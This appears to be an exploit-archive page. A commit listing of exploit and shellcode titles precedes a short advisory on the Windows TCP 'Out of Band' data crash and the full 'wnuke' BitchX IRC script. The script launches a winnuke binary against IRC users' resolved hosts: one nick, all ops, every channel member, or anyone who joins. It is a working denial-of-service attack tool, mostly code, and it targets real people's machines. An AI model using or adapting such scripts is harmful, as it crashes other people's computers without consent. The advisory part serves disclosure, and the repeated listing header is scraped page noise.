880bbe402e
14991 changes to exploits/shellcodes HTC Touch - vCard over IP Denial of Service TeamSpeak 3.0.0-beta25 - Multiple Vulnerabilities PeerBlock 1.1 - Blue Screen of Death WS10 Data Server - SCADA Overflow (PoC) Symantec Endpoint Protection 12.1.4013 - Service Disabling Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow man-db 2.4.1 - 'open_cat_stream()' Local uid=man CDRecord's ReadCD - '$RSH exec()' SUID Shell Creation CDRecord's ReadCD - Local Privilege Escalation Anyburn 4.3 x86 - 'Copy disc to image file' Buffer Overflow (Unicode) (SEH) FreeBSD - Intel SYSRET Privilege Escalation (Metasploit) CCProxy 6.2 - 'ping' Remote Buffer Overflow Savant Web Server 3.1 - Remote Buffer Overflow (2) Litespeed Web Server 4.0.17 with PHP (FreeBSD) - Remote Overflow Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit) Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit) Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit) Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass) TeamCity < 9.0.2 - Disabled Registration Bypass OpenSSH SCP Client - Write Arbitrary Files Kados R10 GreenBee - Multiple SQL Injection WordPress Core 5.0 - Remote Code Execution phpBB 3.2.3 - Remote Code Execution Linux/x86 - Create File With Permission 7775 + exit() Shellcode (Generator) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
75 lines
No EOL
3 KiB
Text
75 lines
No EOL
3 KiB
Text
source: https://www.securityfocus.com/bid/2010/info
|
|
|
|
Older versions of Microsoft Windows (95, Windows for Workgroups 3.11, Windows NT up to and including 4.0), as well as SCO Open Server 5.0, have a vulnerability relating to the way they handle TCP/IP "Out of Band" data.
|
|
|
|
According to Microsoft, "A sender specifies "Out of Band" data by setting the URGENT bit flag in the TCP header. The receiver uses the URGENT POINTER to determine where in the segment the urgent data ends. Windows NT bugchecks when the URGENT POINTER points to the end of the frame and no normal data follows. Windows NT expects normal data to follow. "
|
|
|
|
As a result of this assumption not being met, Windows gives a "blue screen of death" and stops responding.
|
|
|
|
Windows port 139 (NetBIOS) is most susceptible to this attack. although other services may suffer as well. Rebooting the affected machine is required to resume normal system functioning.
|
|
|
|
# WinNuke BitchX IRC script/wnuke package v 1.5
|
|
# Created by maddog and lerper
|
|
# maddog@bitsmart.com, lerper@bitsmart.com
|
|
|
|
# WinNuke IRCers with several options:
|
|
# the nick you define
|
|
# all of the ops in your current channel
|
|
# anyone who joins a channel
|
|
# everyone in the channel
|
|
|
|
# Creditz:
|
|
# goes out to _eci for winnuke
|
|
# #BitchX for their great support
|
|
# #ircII for pretending to be asleep whenever i asked for help
|
|
# #hack for the laughs (hey--they were talking about vibrators last night)
|
|
# Micro$oft for hosting the hacking channels on comic chat
|
|
# KL and his LPLC LAX
|
|
# shout outs to the L0pht and hey to memebers of "CdC"
|
|
|
|
# notice: this package was created so more people could learn about winnuke
|
|
# and more winblows users could patch themeslves up.
|
|
# NOT so lame ircers could have their kicks
|
|
|
|
#Before using this script, compile the included winnuke.c
|
|
#cc -owinnuke winnuke.c should do the job!
|
|
#If you have a GNU compiler...replace the cc with gcc
|
|
#Then move the executable into your /usr/local/bin directory and
|
|
#chmod it with the access levels you wish.
|
|
|
|
assign wnuke_pgm wnuke
|
|
assign wn [wnuke w/ mass nuke features]
|
|
assign wi [winnuke commands]
|
|
eval echo $wn version 1.5 loading... [ by: maddog and the lerper ]
|
|
eval echo $wn type /whelp for commands
|
|
|
|
alias whelp {
|
|
eval echo $wi /wnuke <nick> - sends a win nuke to someone
|
|
eval echo $wi /mwnuke - sends a win nuke to everyone on a chan
|
|
eval echo $wi /awnuke - when someone joins, it nukes them too, effective
|
|
with
|
|
mwnuke
|
|
eval echo $wi /opwnuke - sends a win nuke to all ops
|
|
}
|
|
|
|
alias wnuke {
|
|
if ([$0]) {
|
|
^on ^311 "*" {^assign ndomain $3}
|
|
^on ^319 "*" #
|
|
^whois $0
|
|
wait
|
|
EVAL ^exec winnuke $1 $ndomain >/dev/null &
|
|
echo [wnuke] sent wnuke to $0 at $ndomain requested\.
|
|
^on 311 - "*"
|
|
^on 319 - "*"
|
|
^assign -ndomain
|
|
}
|
|
{
|
|
echo
|
|
echo Usage: /wnuke <nick>
|
|
}
|
|
}
|
|
/on -join * {@joinvar=[$0]}
|
|
alias awnuke { /on -join * {/wnuke $0}}
|
|
alias mwnuke { fe ($chanusers()) blah { /wnuke $blah }}
|
|
alias opwnuke { fe ($chops()) blah { /wnuke $blah }} |